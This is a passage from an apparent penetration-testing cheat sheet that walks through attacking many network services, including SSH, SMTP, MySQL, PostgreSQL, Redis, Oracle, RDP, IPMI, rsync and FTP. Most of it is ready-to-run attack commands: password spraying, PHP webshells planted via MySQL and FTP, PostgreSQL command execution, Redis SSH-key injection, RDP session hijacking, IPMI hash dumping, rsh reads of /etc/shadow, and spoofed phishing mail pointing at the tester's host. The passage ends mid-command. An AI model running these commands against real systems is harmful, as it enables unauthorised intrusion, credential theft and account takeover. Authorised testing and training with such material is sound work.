    447 > [!warning] Watch out A full `snmpwalk` is thousands of queries — noisy and slow. Process listing (`25.4.2`) is the money OID: service scripts run with passwords on the command line and show up here in cleartext. UDP/161, so remember `nmap -sU` finds it.
    448 
    449 ---
    450 
    451 ### `> DNS — zone transfer, subdomain enum & ADIDNS (53 TCP+UDP)`
    452 
    453 **What to look for:** the internal domain name, whether AXFR is allowed (zero-auth by protocol design → whole internal namespace in one request), extra subdomains/hostnames + internal IP scheme. MITRE [T1590.002 Gather Victim Network Information: DNS](https://attack.mitre.org/techniques/T1590/002/).
    454 
    455 **Enumerate:**
    456 ```bash
    457 dig +noall +answer @$IP $DOMAIN               # does it even resolve?
    458 dig NS $DOMAIN @$IP +short                    # find the authoritative nameserver first
    459 dig +noall +answer @$IP -x $IP                # reverse -> domain name
    460 dig +short srv _ldap._tcp.$DOMAIN @$IP        # locate DCs via SRV records
    461 dig +short srv _kerberos._tcp.$DOMAIN @$IP    # locate KDCs
    462 ```
    463 
    464 **Exploit / Attack:** request the full zone against the discovered nameserver, then sub-brute what AXFR missed.
    465 ```bash
    466 dig axfr $DOMAIN @$IP                          # zone transfer (Trick, Snoopy, Pandora)
    467 dig AXFR @ns1.$DOMAIN $DOMAIN                   # against the named NS explicitly
    468 # dnsrecon — AXFR attempt + brute + reverse ranges in one tool (https://github.com/darkoperator/dnsrecon)
    469 dnsrecon -d $DOMAIN -n $IP -t axfr
    470 dnsrecon -d $DOMAIN -n $IP -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
    471 # dnsenum — classic all-in-one (https://github.com/fwaeytens/dnsenum)
    472 dnsenum --dnsserver $IP --enum $DOMAIN
    473 # fierce — fast sub-brute + zone-transfer attempt (https://github.com/mschwager/fierce)
    474 fierce --domain $DOMAIN --dns-servers $IP
    475 ```
    476 
    477 **ADIDNS poisoning (credentialed, internal):** any domain user can create *new* DNS records in AD-integrated DNS (wildcard/LLMNR-like spoofing without the race). Dump the zone, then add a record pointing at yourself — pairs with Responder/ntlmrelayx below.
    478 ```bash
    479 adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC         # dump the whole ADIDNS zone (https://github.com/dirkjanm/adidnsdump)
    480 dnstool.py -u "$DOMAIN\\$U" -p "$P" -r fakerec.$DOMAIN -a add -d $LHOST $DC   # add a spoof record (krbrelayx suite)
    481 ```
    482 
    483 > [!tip] A successful AXFR is one of the fastest wins in the game — it hands you every subdomain, internal hostname, and IP in a single unauthenticated query. Test `dig axfr` against **every** nameserver you discover.
    484 
    485 > [!warning] Watch out Most modern servers reject AXFR from untrusted IPs (empty/`Transfer failed`) — a failure is normal, not a dead end. `dig any` is unreliable (resolvers filter it); query record types individually. Need the NS name for the `@ns1.` form — get it from `dig NS` first. On AD networks, dynamic DNS updates (unauthenticated RFC 2136 on some labs) can also *add* records — but don't confuse that with AXFR read access.
    486 
    487 ---
    488 
    489 ### `> SSH — audit, user enum & banners (22)`
    490 
    491 **What to look for:** the exact OpenSSH build (banner → CVE search), weak host-key algorithms and ciphers, enabled auth methods (`password` on = sprayable), and pre-auth user enumeration on old OpenSSH.
    492 
    493 **Enumerate:**
    494 ```bash
    495 nc $IP 22                                       # raw banner grab: SSH-2.0-OpenSSH_7.2p2 ...
    496 ssh-audit $IP                                   # full algo/cve/policy audit (https://github.com/jtesta/ssh-audit)
    497 nmap -Pn -sC -sV -p22 $IP                       # ssh2-enum-algos, ssh-hostkey
    498 ```
    499 
    500 **Exploit / Attack:**
    501 ```bash
    502 # OpenSSH <= 7.7 user enumeration concept (CVE-2018-15473): a malformed packet makes the
    503 # server answer differently for valid vs invalid usernames. Verify the version first.
    504 python3 /usr/share/metasploit-framework/.../ssh_enumusers 2>/dev/null   # or:
    505 msfconsole -q -x "use auxiliary/scanner/ssh/ssh_enumusers; set RHOSTS $IP; set USER_FILE users.txt; run; exit"
    506 # spray discovered users (respect lockouts on AD-joined/PAM-faillock hosts)
    507 hydra -L users.txt -p 'Summer2026!' -t 4 -W 5 ssh://$IP
    508 # stolen key from NFS/FTP/SMB loot?
    509 chmod 600 id_rsa && ssh -i id_rsa $U@$IP
    510 ```
    511 
    512 > [!warning] Watch out CVE-2018-15473 is a *concept check*, not a given — it only works on unpatched OpenSSH ≤ 7.7 (and derivatives that shipped the bug). Don't burn time on it against OpenSSH 8.x+. SSH brute is one of the most-monitored vectors on the internet (auth.log / Event 4625 type 3 equivalents); spray slow with `-W`. Deep dive: 🔷 Attacking SSH if present, else Common Ports and Services Cheatsheet 2026.
    513 
    514 ---
    515 
    516 ### 🐬 MSSQL (1433)
    517 
    518 **What to look for** → a Microsoft SQL Server (top-tier on AD boxes). Windows-auth with a domain user often just works; from there `xp_cmdshell` → RCE, `EXECUTE AS` → `sa`, and **linked servers** hop you to hosts you can't even reach. Full attack chains (xp_cmdshell privesc, linked-server pivots) continue in [Stage 09](/sheets/pentest-workflow/privilege-escalation) and [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot).
    519 
    520 **Enumerate**
    521 ```bash
    522 nxc mssql $IP -u "$U" -p "$P"                       # cleartext creds
    523 nxc mssql $IP -u "$U" -p "$P" -q "SELECT @@version" # test query
    524 nmap -Pn -sV --script ms-sql-info -p1433 $IP        # version + config without creds
    525 nxc mssql $IP -u "$U" -p "$P" -M mssql_priv         # map impersonation/linked-server paths
    526 ```
    527 
    528 **Exploit / lateral** ([mssqlclient.py](https://github.com/fortra/impacket), [sqsh](https://github.com/grayhemp/sqsh) as the interactive alternative on some distros)
    529 ```bash
    530 # foothold — Windows integrated auth is the common HTB path
    531 mssqlclient.py "$DOMAIN"/"$U":"$P"@$IP -windows-auth
    532 #   in-client:
    533 #   SQL> enable_xp_cmdshell
    534 #   SQL> xp_cmdshell whoami
    535 #   SQL> EXECUTE AS LOGIN = 'sa';          -- impersonate up to sa if granted IMPERSONATE
    536 #   SQL> EXEC sp_linkedservers;            -- discover linked servers
    537 #   SQL> EXEC ('xp_cmdshell ''whoami''') AT [SQL02];   -- run on the LINKED box (double-hop)
    538 # sqsh interactive variant:
    539 sqsh -S $IP -U "$U" -P "$P" -h
    540 ```
    541 > [!warning] Watch out
    542 > `xp_cmdshell` runs as the SQL **service account** — check `whoami /priv` for `SeImpersonate` (→ potato, STAGE 9). Linked-server chains often run as `sa` on the far end even when you're low-priv locally — enumerate the whole `sp_linkedservers` graph before giving up. `xp_cmdshell` writes to `sys.configurations` — a 1433 login followed by reconfiguration is a classic SQL-audit-log tripwire (and shows as MSSQL AUDIT events). Deep dive: 🔷 Attack.
    543 ### 📡 More Services — SMTP · IMAP/POP3 · MySQL · PostgreSQL · Redis · MongoDB · Oracle · RDP · WinRM · VNC/Telnet · IPMI · R-services
    544 
    545 The services STAGE 3 hasn't touched yet — mail, the *other* database engines, remote-desktop, and the legacy/out-of-band stuff (SNMP write, IPMI, rsync, r-services, finger). Same rhythm: look-for → enumerate → exploit. Module deep-dives: 10 - Attacking Email Services · 7 - Attacking SQL Databases · 8 - Attacking RDP · 5 - Attacking FTP · protocol NSE scripts in NSE Guide, ports in Common Ports and Services Cheatsheet 2026.
    546 
    547 ---
    548 
    549 #### `> SMTP — user enum, open relay & spray (25 / 465 / 587)`
    550 
    551 **What to look for:** `VRFY`/`EXPN` in the nmap `smtp-commands` banner, an open relay, Postfix/Exchange/**OpenSMTPD** banner (CVE-2020-7247 unauth RCE), and — from the MX record — whether mail is self-hosted or a cloud tenant (O365/G-Suite), which changes the whole approach.
    552 
    553 **Enumerate:**
    554 ```bash
    555 host -t MX $DOMAIN                                  # who handles mail — cloud vs self-hosted
    556 dig +short mx $DOMAIN
    557 sudo nmap -Pn -sV -sC -p25,465,587 $IP              # smtp-commands leaks VRFY/EXPN support
    558 # manual user enum — telnet, try ALL THREE primitives (killing VRFY doesn't kill RCPT)
    559 telnet $IP 25
    560 #   VRFY root                       252/250 = exists, 550 = unknown
    561 #   EXPN support-team               expands a distro list -> every member (bigger leak)
    562 #   MAIL FROM:a@a.com  +  RCPT TO:john   250 = valid recipient (hardest to disable)
    563 # automate against a list (RCPT mode needs -D <domain>) — https://github.com/pentestmonkey/smtp-user-enum
    564 smtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $IP
    565 smtp-user-enum -M VRFY -U users.txt -t $IP
    566 smtp-user-enum -M EXPN -U users.txt -t $IP
    567 ```
    568 
    569 **Exploit / Attack:** confirmed users → spray; open relay → spoofed phishing; cloud tenant → purpose-built tooling.
    570 ```bash
    571 # spray discovered users (pop3/imap/smtp all valid — just swap the module name)
    572 hydra -L users.txt -p 'Company01!' -f $IP smtp
    573 # open relay -> send AS a trusted internal sender
    574 nmap -p25 -Pn --script smtp-open-relay $IP
    575 swaks --from admin@$DOMAIN --to victim@$DOMAIN --server $IP \
    576   --header 'Subject: IT Notice' --body "http://$LHOST/survey"
    577 # O365 tenant — generic brute is throttled; enumerate + spray with o365spray (https://github.com/0xZDH/o365spray)
    578 python3 o365spray.py --validate --domain $DOMAIN
    579 python3 o365spray.py --enum -U users.txt --domain $DOMAIN
    580 python3 o365spray.py --spray -U valid.txt -p 'Spring2026!' --count 1 --lockout 1 --domain $DOMAIN
    581 ```
    582 
    583 > [!warning] Watch out
    584 > - `VRFY`/`EXPN`/`RCPT TO` are three *independent* enum primitives — test all three; admins usually only disable `VRFY`.
    585 > - O365/G-Suite/Zoho block generic tools (hydra) at the provider — use **o365spray/MailSniper/CredKing** and keep them current, Microsoft moves the endpoints.
    586 > - `OpenSMTPD` in the banner → check **CVE-2020-7247** (unauth RCE *as root* via a `;` smuggled in the `MAIL FROM` address).
    587 > - `smtp-user-enum -M RCPT` is slow (~7 q/s) and noisy — scope the userlist.
    588 
    589 ---
    590 
    591 #### `> IMAP / POP3 — user enum & mailbox read (110 / 143 / 993 / 995)`
    592 
    593 **What to look for:** cleartext 110/143 vs TLS 993/995, POP3 `USER` enum (`+OK`/`-ERR`), and — once you have a cred — the mailbox itself (next password, reset mail, VPN configs live in inboxes).
    594 
    595 **Enumerate:**
    596 ```bash
    597 nmap -Pn -sV -sC -p110,143,993,995 $IP              # capabilities + TLS fingerprint
    598 # POP3 username enum (same primitive as SMTP VRFY)
    599 telnet $IP 110
    600 #   USER john    +OK       (valid)
    601 #   USER julio   -ERR      (invalid)
    602 ```
    603 
    604 **Exploit / Attack:** brute, then actually read the mailbox over TLS.
    605 ```bash
    606 hydra -L users.txt -p 'Company01!' -f $IP imap
    607 hydra -l "$U" -P rockyou.txt -f $IP pop3
    608 # IMAP over TLS — log in and dump a message
    609 openssl s_client -connect $IP:993 -quiet
    610 #   a LOGIN "$U" "$P"
    611 #   a LIST "" "*"
    612 #   a SELECT INBOX
    613 #   a FETCH 1 BODY[]
    614 # POP3S
    615 openssl s_client -connect $IP:995 -quiet            # USER / PASS / LIST / RETR 1
    616 curl -k "imaps://$IP" --user "$U:$P"                 # curl speaks imap(s)/pop3(s) too
    617 ```
    618 
    619 > [!tip] Don't stop at "login worked" — mailboxes are a top source of the *next* credential and password-reset links. Always `SELECT INBOX` and read.
    620 
    621 > [!warning] Watch out 110/143 are plaintext — sniffable on a MITM'd segment. Use the `openssl s_client` wrapper (not raw `telnet`) for the 993/995 TLS ports or the handshake fails.
    622 
    623 ---
    624 
    625 #### `> MySQL — file r/w → webshell (3306)`
    626 
    627 **What to look for:** weak/reused SQL creds, `secure_file_priv` **empty** (FILE priv → read/write files on disk), the daemon running as root, and old 5.6.x builds (CVE-2012-2122 auth bypass). This is the LAMP database — the AD one (MSSQL, `xp_cmdshell`, linked servers) is already the 🐬 MSSQL block above.
    628 
    629 **Enumerate:**
    630 ```bash
    631 nmap -Pn -sV -sC -p3306 $IP                         # mysql-info: version, salt, auth plugin
    632 nxc mysql $IP -u "$U" -p "$P"
    633 mysql -u "$U" -p"$P" -h $IP                          # NOTE: no space after -p (else it reads a DB name)
    634 #   SHOW DATABASES;  USE <db>;  SHOW TABLES;  SELECT * FROM users;
    635 #   SELECT @@version;  SELECT system_user();
    636 #   SHOW VARIABLES LIKE 'secure_file_priv';          -- ''  = file r/w unrestricted
    637 ```
    638 
    639 **Exploit / Attack:** turn FILE privilege into a webshell or read local secrets.
    640 ```sql
    641 -- read any file the service account can read (needs FILE priv)
    642 SELECT LOAD_FILE('/etc/passwd');
    643 -- write a webshell into the web root (secure_file_priv must be EMPTY)
    644 SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/x.php';
    645 ```
    646 ```bash
    647 curl "http://$IP/x.php?c=id"                          # trigger it
    648 # legacy MySQL 5.6.x auth bypass — hammer with any password until it lets you in
    649 for i in $(seq 1 1000); do mysql -u root --password=wrong -h $IP 2>/dev/null; done   # CVE-2012-2122
    650 ```
    651 
    652 **UDF RCE note:** if FILE priv exists but `secure_file_priv` blocks OUTFILE to the web root, the other path is a User-Defined Function — upload a compiled `lib_mysqludf_sys` shared object into the plugin dir and `CREATE FUNCTION sys_exec`. Windows-targeted via `plugin_dir` when writable; see 7 - Attacking SQL Databases.
    653 
    654 > [!warning] Watch out `secure_file_priv` = `NULL` disables file I/O entirely (no `OUTFILE`); a set directory restricts it — check it *before* assuming a webshell drop works. MySQL has no `xp_cmdshell` — RCE means FILE-priv webshell into a live web root, or a UDF. Deep dive: 7 - Attacking SQL Databases.
    655 
    656 ---
    657 
    658 #### `> PostgreSQL — default creds & COPY TO PROGRAM (5432)`
    659 
    660 **What to look for:** default/blank `postgres` creds, an exposed 5432, and a superuser session → **CVE-2019-9193**-style RCE via `COPY ... FROM PROGRAM` (works on PostgreSQL 9.3+ when you're superuser or have `pg_execute_server_program`).
    661 
    662 **Enumerate:**
    663 ```bash
    664 nmap -Pn -sV -sC -p5432 $IP
    665 psql -h $IP -U postgres                     # blank / postgres / password
    666 nxc pgsql $IP -u postgres -p postgres
    667 ```
    668 
    669 **Exploit / Attack:**
    670 ```sql
    671 -- superuser check
    672 SELECT current_setting('is_superuser');
    673 -- RCE via COPY FROM PROGRAM (superuser)
    674 DROP TABLE IF EXISTS cmd_exec;
    675 CREATE TABLE cmd_exec(cmd_output text);
    676 COPY cmd_exec FROM PROGRAM 'id';
    677 SELECT * FROM cmd_exec;
    678 -- file read
    679 CREATE TABLE file_read(data text);
    680 COPY file_read FROM '/etc/passwd';
    681 ```
    682 
    683 > [!warning] Watch out `COPY FROM PROGRAM` is a *feature* gated on superuser — most exposed instances with default creds are `postgres` = superuser, so it fires more often than you'd expect. Metasploit `postgres_payload` automates the same thing. On Windows builds of PostgreSQL the service account often has `SeImpersonate` → Stage 09 potato territory.
    684 
    685 ---
    686 
    687 #### `> Redis — unauth access → SSH key write (6379)`
    688 
    689 **What to look for:** no-auth Redis bound to 0.0.0.0 (`INFO` answers instantly). From there: data theft, `CONFIG` abuse to write files as the redis user (SSH key → shell), or replication-based module-load RCE (Redis ≥ 4.x).
    690 
    691 **Enumerate / Attack:**
    692 ```bash
    693 redis-cli -h $IP info                          # unauth? -> server/version/role info
    694 redis-cli -h $IP config get dir                # current working dir of the process
    695 redis-cli -h $IP config get dbfilename
    696 # classic SSH-key write (needs writable target dir, e.g. /var/lib/redis/.ssh or root/.ssh)
    697 ssh-keygen -t rsa -f redis_key
    698 (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > pub.txt
    699 redis-cli -h $IP config set dir /var/lib/redis/.ssh
    700 redis-cli -h $IP config set dbfilename authorized_keys
    701 cat pub.txt | redis-cli -h $IP -x set sshkey
    702 redis-cli -h $IP save
    703 ssh -i redis_key redis@$IP
    704 # module-load RCE (4.x/5.x): rogue-server replication -> load .so -> system.exec
    705 # (automated by redis-rogue-server / metasploit redis modules)
    706 ```
    707 
    708 > [!warning] Watch out `CONFIG SET dir` fails if the redis user can't write there — probe with `config get dir` and pick a dir the service owns (its own data dir is guaranteed). `save` rewrites the on-disk DB; on a production box that's destructive — do it in a lab or snapshot the RDB path first. Newer Redis (6+) supports ACLs — `AUTH default ""` may still answer if not configured.
    709 
    710 ---
    711 
    712 #### `> MongoDB — unauth dump (27017)`
    713 
    714 **What to look for:** pre-3.x-style MongoDB with no `security.authorization` set — full database read/write with zero creds. On modern builds look for default/weak users and leftover `admin` accounts.
    715 
    716 **Enumerate / Attack:**
    717 ```bash
    718 nmap -Pn -sV --script mongodb-info,mongodb-databases -p27017 $IP
    719 mongosh "mongodb://$IP:27017"                                    # unauth connect
    720 mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})'
    721 # dump a collection
    722 mongosh "mongodb://$IP:27017/appdb" --eval 'db.users.find().toArray()'
    723 # legacy client syntax
    724 mongo --host $IP appdb --eval 'db.users.find()'
    725 ```
    726 
    727 > [!warning] Watch out Unauth Mongo is rarer on modern stacks but endemic on legacy appliances and dev boxes. Found user creds with bcrypt/pbkdf2 hashes → offline crack in [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting). Also check `rs.slaveOk()`-style replica access — secondaries sometimes answer when primaries require auth.
    728 
    729 ---
    730 
    731 #### `> Oracle TNS — SID brute → odat (1521)`
    732 
    733 **What to look for:** the TNS listener, a valid **SID** (nothing works without it), default creds (`scott/tiger`, `system/manager`, `dbsnmp/dbsnmp`), and a DBA account → file write to the web root / OS command exec.
    734 
    735 **Enumerate:**
    736 ```bash
    737 sudo nmap -p1521 -sV $IP --open
    738 nmap -p1521 --script oracle-sid-brute $IP            # find a valid SID (ORCL, XE, ...)
    739 nmap -p1521 --script oracle-brute --script-args oracle-brute.sid=XE $IP
    740 # odat all-in-one
    741 odat all -s $IP -p 1521
    742 odat sidguesser -s $IP -p 1521                        # SID brute
    743 odat passwordguesser -s $IP -p 1521 -d XE             # default-cred spray against a SID
    744 ```
    745 
    746 **Exploit / Attack:** log in with SID+creds, then use a DBA account to touch the filesystem.
    747 ```bash
    748 sqlplus scott/tiger@$IP:1521/XE                       # normal login
    749 sqlplus scott/tiger@$IP:1521/XE as sysdba             # privileged login
    750 # DBA -> drop a webshell to the server's web root
    751 odat utlfile -s $IP -d XE -U scott -P tiger --sysdba \
    752    --putFile C:\\inetpub\\wwwroot shell.aspx ./shell.aspx
    753 # DBA -> read/exec on the box
    754 odat externaltable -s $IP -d XE -U scott -P tiger --sysdba --exec 'C:\\' 'whoami'
    755 ```
    756 
    757 > [!warning] Watch out NOTHING works without a valid SID — sid-brute first. `odat`/`sqlplus` (instantclient) have finicky deps; a cryptic error usually means the client, not the target. `scott/tiger` and friends are *shockingly* common on Oracle. File-write/exec needs `--sysdba`.
    758 
    759 ---
    760 
    761 #### `> RDP — NLA check, spray, hijack & Pass-the-Hash (3389)`
    762 
    763 **What to look for:** `ms-wbt-server`, NLA state + domain from `rdp-ntlm-info`, valid creds to spray (mind lockout), an NTLM hash (→ PtH via Restricted Admin), or an old unpatched host (→ BlueKeep). Local admin already? → hijack a live session.
    764 
    765 **Enumerate:**
    766 ```bash
    767 nxc rdp $IP                                            # fast NLA check (nla:True/False) + auth test
    768 nmap -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP    # domain/host + ciphers
    769 # BlueKeep pre-check — scanner only, DON'T fire the RCE on prod
    770 msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $IP; run; exit"
    771 ```
    772 
    773 **Spray and connect from Linux** ([xfreerdp / FreeRDP](https://github.com/FreeRDP/FreeRDP))
    774 
    775 ```bash
    776 # Spray one password across users. Respect the domain lockout policy.
    777 crowbar -b rdp -s $IP/32 -U users.txt -c 'Password123'
    778 hydra -L users.txt -p 'Password123' -t 4 -W 3 $IP rdp
    779 
    780 # Log in and accept the lab's self-signed certificate.
    781 xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore +clipboard /dynamic-resolution
    782 # v3 syntax on newer FreeRDP builds:
    783 xfreerdp3 /v:$IP /u:"$U" /p:"$P" /cert:ignore
    784 
    785 # Pass-the-Hash after Restricted Admin Mode has been enabled by an administrator.
    786 xfreerdp /v:$IP /u:Administrator /pth:<NTLMHASH>
    787 ```
    788 
    789 **Enable Restricted Admin Mode from an elevated Command Prompt**
    790 
    791 ```batch
    792 reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
    793 ```
    794 
    795 **Hijack an existing RDP session from a SYSTEM/local-admin Command Prompt**
    796 
    797 ```batch
    798 query user
    799 sc.exe create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
    800 net start sesshijack
    801 ```
    802 
    803 > [!warning] Watch out RDP honours account lockout → spray, never brute (4625s with logon type 3/10 per attempt). `nla:True` blocks the pre-auth login screen (good for the defender) but NOT credentialed spray — nxc rdp still validates creds through NLA. `tscon` hijack needs SYSTEM (hence the service trick) and no longer works on Server 2019+. PtH-RDP only fires if `DisableRestrictedAdmin` is set. BlueKeep can BSOD the box — scan, get client sign-off, then exploit. Deep dive: 8 - Attacking RDP.
    804 
    805 ---
    806 
    807 #### `> WinRM — shell over 5985 / 5986`
    808 
    809 **What to look for:** Windows Remote Management (HTTP 5985 / HTTPS 5986) — a login here is an immediate interactive shell if the user is in *Remote Management Users* or admin. MITRE [T1021.006 Windows Remote Management](https://attack.mitre.org/techniques/T1021/006/).
    810 
    811 **Enumerate / Attack:**
    812 ```bash
    813 nxc winrm $IP -u "$U" -p "$P"                  # validate creds (Pwn3d! = shell-able)
    814 nxc winrm $IP -u "$U" -H <NTLM>                # hash auth works too
    815 evil-winrm -i $IP -u "$U" -p "$P"              # interactive PS shell (https://github.com/Hackplayers/evil-winrm)
    816 evil-winrm -i $IP -u "$U" -H <NTLMHASH>        # pass-the-hash straight into a shell
    817 evil-winrm -i $IP -u "$U" -p "$P" -S           # 5986/SSL variant
    818 evil-winrm -i $IP -u "$U" -p "$P" -s scripts/ -e exes/   # PS upload + exec dirs baked in
    819 ```
    820 
    821 > [!tip] `evil-winrm -s` + `-e` dirs make uploading PowerShell tools (PowerView, PrivescCheck) and binaries trivial — `menu` shows the loaded modules. WinRM auth is NTLM by default; use `-k` + realm for Kerberos.
    822 
    823 > [!warning] Watch out WinRM logons are Event ID **4624 type 3** on the target plus **91/168** in the WinRM Operational log — a SOC watching remoting will see every connection. On 5986 with a self-signed cert, `-S` plus accepting the cert is normal in labs.
    824 
    825 ---
    826 
    827 #### `> VNC & Telnet — brief (5900+ / 23)`
    828 
    829 **VNC (5900, 5901...):** check for no-auth or weak VNC passwords (VNC auth caps at 8 chars — tiny keyspace).
    830 ```bash
    831 nmap -Pn -sV --script vnc-info,vnc-brute -p5900 $IP
    832 hydra -P /usr/share/wordlists/rockyou.txt -t 4 $IP vnc
    833 vncviewer $IP:0
    834 # cracked the obfuscated desktop-side password? decrypt the .vnc/registry blob (vncpwd) — Stage 08
    835 ```
    836 
    837 **Telnet (23):** cleartext everything — banner often leaks OS; default creds on appliances; sniffable on the wire.
    838 ```bash
    839 nc $IP 23                    # banner
    840 telnet $IP                   # interactive — try admin/admin, cisco/cisco, root/root
    841 hydra -L users.txt -P passwords.txt -t 4 telnet://$IP
    842 ```
    843 
    844 > [!warning] Watch out VNC sessions are *shared consoles* — the logged-in user sees your mouse. Telnet creds transit in cleartext; if you have a network tap (Responder-era access), passive capture beats brute. Both are legacy — finding them is a reportable finding by itself.
    845 
    846 ---
    847 
    848 #### `> SNMP — write community, braa & snmp-check (161/udp)`
    849 
    850 **What to look for:** *(extends the STAGE 3 SNMP block — base OIDs already there)* a **writable** community (`private` → `snmpset`), fast bulk scraping, non-default community names, and SNMPv3 (needs a user+auth/priv cred, not just a string).
    851 
    852 **Enumerate:**
    853 ```bash
    854 # broader community brute than onesixtyone alone
    855 nmap -sU -p161 --script snmp-brute $IP \
    856   --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
    857 hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP snmp
    858 # structured one-shot dump (users, processes, netstat, software, storage)
    859 snmp-check -c public $IP
    860 # braa — mass/fast OID sweep, far quicker than snmpwalk for scraping
    861 braa public@$IP:.1.3.6.1.*
    862 # extras beyond the STAGE 3 OID set
    863 snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects   # extend scripts (RCE-ish)
    864 snmpbulkwalk -v2c -c public -Cr1000 $IP .1                         # bulk = fewer round-trips
    865 ```
    866 
    867 **Exploit / Attack:** a RW string rewrites device config.
    868 ```bash
    869 snmpset -v2c -c private $IP <OID> s "value"          # write with a RW community
    870 # creds/paths scraped from process args (25.4.2, in the STAGE 3 block) -> SSH/spray
    871 ```
    872 
    873 > [!warning] Watch out UDP/161 — needs `nmap -sU` or it's invisible. `private` (RW) is the jackpot: `snmpset` can rewrite config. SNMPv3 won't yield to a community string. `braa` needs the trailing `.1.3.6.1.*` glob. This block adds the *write* path + fast tooling on top of the STAGE 3 read-only OID walk.
    874 
    875 ---
    876 
    877 #### `> IPMI — RAKP hash dump (623/udp)`
    878 
    879 **What to look for:** a BMC (Dell iDRAC, HP iLO, Supermicro). IPMI 2.0's RAKP handshake hands a **password hash for any valid user to any unauthenticated client** — dump and crack offline. Plus cipher-0 auth bypass and default BMC creds.
    880 
    881 **Enumerate:**
    882 ```bash
    883 sudo nmap -sU -p623 --script ipmi-version $IP
    884 msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS $IP; run; exit"
    885 ```
    886 
    887 **Exploit / Attack:**
    888 ```bash
    889 # dump RAKP HMAC hash (unauth) -> crack offline
    890 msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS $IP; run; exit"
    891 hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt        # IPMI2 RAKP HMAC-SHA1
    892 # cipher-0 bypass (BMC accepts any password) -> read users / set a password
    893 ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list
    894 ipmitool -I lanplus -C 0 -H $IP -U root -P '' user set password 2 newpass
    895 ```
    896 
    897 > [!warning] Watch out UDP/623 — `-sU`. The RAKP dump is a *protocol design flaw*, not a misconfig — it works against fully-patched IPMI 2.0. Default BMC creds are everywhere (`ADMIN/ADMIN` Supermicro, `root/calvin` iDRAC). A BMC controls the host below the OS — treat it as a critical finding.
    898 
    899 ---
    900 
    901 #### `> Rsync — anonymous modules (873)`
    902 
    903 **What to look for:** an rsync daemon exposing modules without auth — backup hosts, web roots, and whole home directories, sometimes writable.
    904 
    905 **Enumerate:**
    906 ```bash
    907 nmap -Pn -sV -p873 --script rsync-list-modules $IP
    908 rsync -av --list-only rsync://$IP/                    # list modules
    909 rsync -av --list-only rsync://$IP/share               # list files in a module
    910 ```
    911 
    912 **Exploit / Attack:**
    913 ```bash
    914 rsync -av rsync://$IP/share ./loot                    # pull an anon-readable module
    915 rsync -av rsync://user@$IP/share ./loot               # authenticated (prompts for password)
    916 # writable module -> arbitrary file write (SSH key / webshell)
    917 rsync -av ./id_rsa.pub rsync://$IP/share/home/user/.ssh/authorized_keys
    918 ```
    919 
    920 > [!warning] Watch out Anonymous rsync often exposes entire home dirs / web roots. A *writable* module = arbitrary write → `authorized_keys` (SSH) or webshell (RCE). `--list-only` first so you scope before pulling gigabytes of backups.
    921 
    922 ---
    923 
    924 #### `> R-services & finger — legacy trust (512 / 513 / 514 · 79)`
    925 
    926 **What to look for:** rexec (512), rlogin (513), rsh (514) — password-free access when a source host/user is *trusted* via `.rhosts`/`hosts.equiv` (`+ +` = anyone). finger (79) leaks valid usernames, real names, login times, home dirs.
    927 
    928 **Enumerate:**
    929 ```bash
    930 nmap -Pn -sV -p79,512,513,514 $IP
    931 rusers -al $IP                                        # users/sessions across trusted hosts
    932 rwho                                                  # who's logged in (udp/513)
    933 finger @$IP                                           # who's logged in
    934 finger root@$IP                                       # valid user vs "No such user"
    935 finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
    936 ```
    937 
    938 **Exploit / Attack:** ride the trust — no password if your host/user is allowed.
    939 ```bash
    940 rlogin $IP -l root                                    # rlogin as a trusted user
    941 rsh -l <user> $IP "id"                                 # one-shot command through the trust
    942 rsh $IP -l root "cat /etc/shadow"
    943 ```
    944 
    945 > [!warning] Watch out Needs `rsh-client`/`rlogin` installed locally. Trust is keyed on *source host/IP + username* — matching a trusted account (often hinted at in NFS/`passwd` loot) gets you in with no password; a `+ +` in `/etc/hosts.equiv` or `~/.rhosts` = passwordless for anyone. finger output feeds straight into SSH/SMTP/RDP username spraying.
    946 
    947 ---
    948 
    949 #### `> FTP — brute, bounce & anon-write→webroot (21)`
    950 
    951 **What to look for:** *(extends the STAGE 3 FTP anon block)* a writable dir that's also a **web root** (anon-write → webshell → RCE), FTP **bounce** (`PORT` abuse → scan internal hosts *through* the FTP box), weak creds, and a banner → CVE (vsftpd 2.3.4 backdoor, CoreFTP CVE-2022-22836).
    952 
    953 **Enumerate:**
    954 ```bash
    955 sudo nmap -sC -sV -p21 $IP                            # ftp-anon flags [NSE: writeable] dirs
    956 ```
    957 
    958 **Exploit / Attack:**
    959 ```bash
    960 # brute
    961 medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp
    962 hydra -L users.txt -P rockyou.txt ftp://$IP
    963 # anon-write -> webshell if the FTP root is served over HTTP
    964 ftp $IP        # anonymous login; then:  binary / put shell.php / put shell.aspx
    965 curl "http://$IP/shell.php?c=id"                       # trigger via the web root
    966 # FTP BOUNCE — scan an internal host THROUGH the FTP server's PORT command
    967 nmap -Pn -v -n -p80,443,3306 -b anonymous:password@$IP <internal_ip>
    968 # CoreFTP HTTP PUT arbitrary write (CVE-2022-22836)
    969 curl -k -X PUT --basic -u "$U:$P" --data-binary "<?php system(\$_GET['c']);?>" \
